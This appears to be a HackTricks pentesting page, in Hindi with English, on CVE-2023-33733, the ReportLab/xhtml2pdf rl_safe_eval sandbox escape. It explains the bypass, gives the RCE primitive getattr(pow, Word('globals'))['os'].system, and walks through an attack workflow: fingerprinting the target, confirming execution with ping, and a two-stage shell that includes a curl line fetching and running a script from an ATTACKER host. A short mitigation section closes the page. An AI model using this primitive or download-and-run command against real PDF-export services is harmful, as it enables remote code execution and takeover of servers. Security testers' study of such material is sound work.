ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यह पृष्ठ ReportLab के rl_safe_eval में एक व्यावहारिक sandbox escape और RCE primitive का दस्तावेज़ीकरण करता है, जिसका उपयोग xhtml2pdf और अन्य PDF-generation pipelines द्वारा तब किया जाता है जब वे user-controlled HTML को PDFs में render करते हैं।

CVE-2023-33733 ReportLab के उन वर्शन को प्रभावित करता है जो 3.6.12 तक और इसके साथ शामिल हैं। कुछ attribute contexts (उदाहरण के लिए color) में, triple brackets [[[ ... ]]] में लिपटे मान सर्वर-साइड पर rl_safe_eval द्वारा evaluate होते हैं। एक payload तैयार करके जो एक whitelisted builtin (pow) से उसके Python function globals की ओर pivot करता है, एक attacker os मॉड्यूल तक पहुँच बना सकता है और commands execute कर सकता है।

मुख्य बिंदु

  • ट्रिगर: ReportLab/xhtml2pdf द्वारा parsed मार्कअप में जैसे evaluated attributes के भीतर [[[ ... ]]] इंजेक्ट करें।
  • Sandbox: rl_safe_eval खतरनाक builtins को बदल देता है लेकिन evaluated functions अभी भी globals को एक्सपोज़ करते हैं।
  • Bypass: rl_safe_eval के नाम चेक को बायपास करने और ब्लॉक किए गए dunder फ़िल्टरिंग से बचने के लिए एक अस्थायी क्लास Word तैयार करें जो "globals" स्ट्रिंग तक पहुंच दिलाए।
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • स्थिरता: execution के बाद attribute के लिए एक वैध मान लौटाएँ (color के लिए, और 'red' का उपयोग करें)।

कब परीक्षण करें

  • वे एप्लिकेशन जिनमें HTML-to-PDF export (profiles, invoices, reports) एक्सपोज़ होता है और PDF metadata या HTTP response टिप्पणियों में xhtml2pdf/ReportLab दिखता है।
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • PDF के लिए HTTP response अक्सर ReportLab generator टिप्पणी से शुरू होता है

Sandbox bypass कैसे काम करता है

  • rl_safe_eval कई builtins (getattr, type, pow, ...) को हटा देता है या बदल देता है और नाम फिल्टरिंग लागू करता है ताकि __ से शुरू होने वाले या denylist में मौजूद attributes को नकार दिया जाए।
  • हालाँकि, safe functions एक globals dictionary में रहते हैं जो func.globals के रूप में उपलब्ध है।
  • ReportLab के wrapper को बायपास करने के लिए वास्तविक builtin type फ़ंक्शन को recover करने हेतु type(type(1)) का उपयोग करें, फिर str से व्युत्पन्न एक Word क्लास परिभाषित करें जिसकी तुलना व्यवहार में परिवर्तन किया गया हो ताकि:
    • .startswith('') → हमेशा False हो (name startswith('') चेक बायपास)
    • .eq केवल पहले comparison पर False लौटाए (denylist membership चेक बायपास) और बाद में True लौटाए (ताकि Python getattr काम करे)
    • .hash equals hash(str(self))
  • इसके साथ, getattr(pow, Word('globals')) wrapped pow फ़ंक्शन की globals dict लौटाता है, जिसमें एक imported os मॉड्यूल होता है। फिर: ['os'].system('').

न्यूनतम exploitation pattern (attribute उदाहरण) Payload को किसी evaluated attribute के भीतर रखें और सुनिश्चित करें कि यह boolean और 'red' के माध्यम से attribute के लिए एक वैध मान लौटाए।

exploit

  • list-comprehension फ़ॉर्म एक single expression की अनुमति देता है जो rl_safe_eval द्वारा स्वीकार्य है।
  • trailing and 'red' एक वैध CSS color लौटाता है ताकि rendering टूटे नहीं।
  • आवश्यकतानुसार कमांड बदलें; tcpdump के साथ निष्पादन की पुष्टि करने के लिए ping का उपयोग करें।

Operational workflow

  1. PDF generator की पहचान करें
  • PDF Producer में xhtml2pdf दिखता है; HTTP response में ReportLab टिप्पणी होती है।
  1. किसी ऐसे इनपुट को खोजें जो PDF में प्रतिबिंबित हो (उदा., profile bio/description) और export ट्रिगर करें।
  2. low-noise ICMP के साथ execution सत्यापित करें
  • चलाएँ: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows अक्सर डिफ़ॉल्ट रूप से बिल्कुल चार echo requests भेजता है।
  1. एक shell स्थापित करें
  • Windows के लिए, एक विश्वसनीय two-stage approach quoting/encoding समस्याओं से बचती है:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Linux लक्ष्यों के लिए, curl/wget के साथ समान two-stage संभव है:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

नोट्स और सुझाव

  • Attribute contexts: color एक ज्ञात evaluated attribute है; ReportLab मार्कअप में अन्य attributes भी expressions evaluate कर सकते हैं। यदि एक स्थान sanitized है, तो PDF flow में रेंडर किए जाने वाले अन्य स्थानों (विभिन्न फ़ील्ड, table styles, आदि) को आज़माएँ।
  • Quoting: कमांड को संक्षिप्त रखें। two-stage downloads quoting और escaping समस्याओं को काफी घटा देते हैं।
  • Reliability: यदि exports cached या queued हैं, तो payload को थोड़ा बदलें (उदा., random path या query) ताकि cache न लगे।

निवारण और पहचान

  • ReportLab को 3.6.13 या बाद के वर्शन में अपग्रेड करें (CVE-2023-33733 फिक्स्ड)। वितरण पैकेजों में security advisories को भी ट्रैक करें।
  • untrusted inputs के लिए xhtml2pdf/ReportLab में user-controlled HTML/markup सीधे न दें बिना कड़ी sanitization के। [[[...]]] evaluation constructs और vendor-specific tags को हटाएँ/निरस्त कर दें जब इनपुट untrusted हो।
  • untrusted इनपुट के लिए rl_safe_eval के उपयोग को पूरी तरह निष्क्रिय करने या wrap करने पर विचार करें।
  • PDF generation के दौरान संदिग्ध outbound कनेक्शनों की निगरानी करें (उदा., एक्सपोर्ट करते समय app servers से ICMP/HTTP)।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें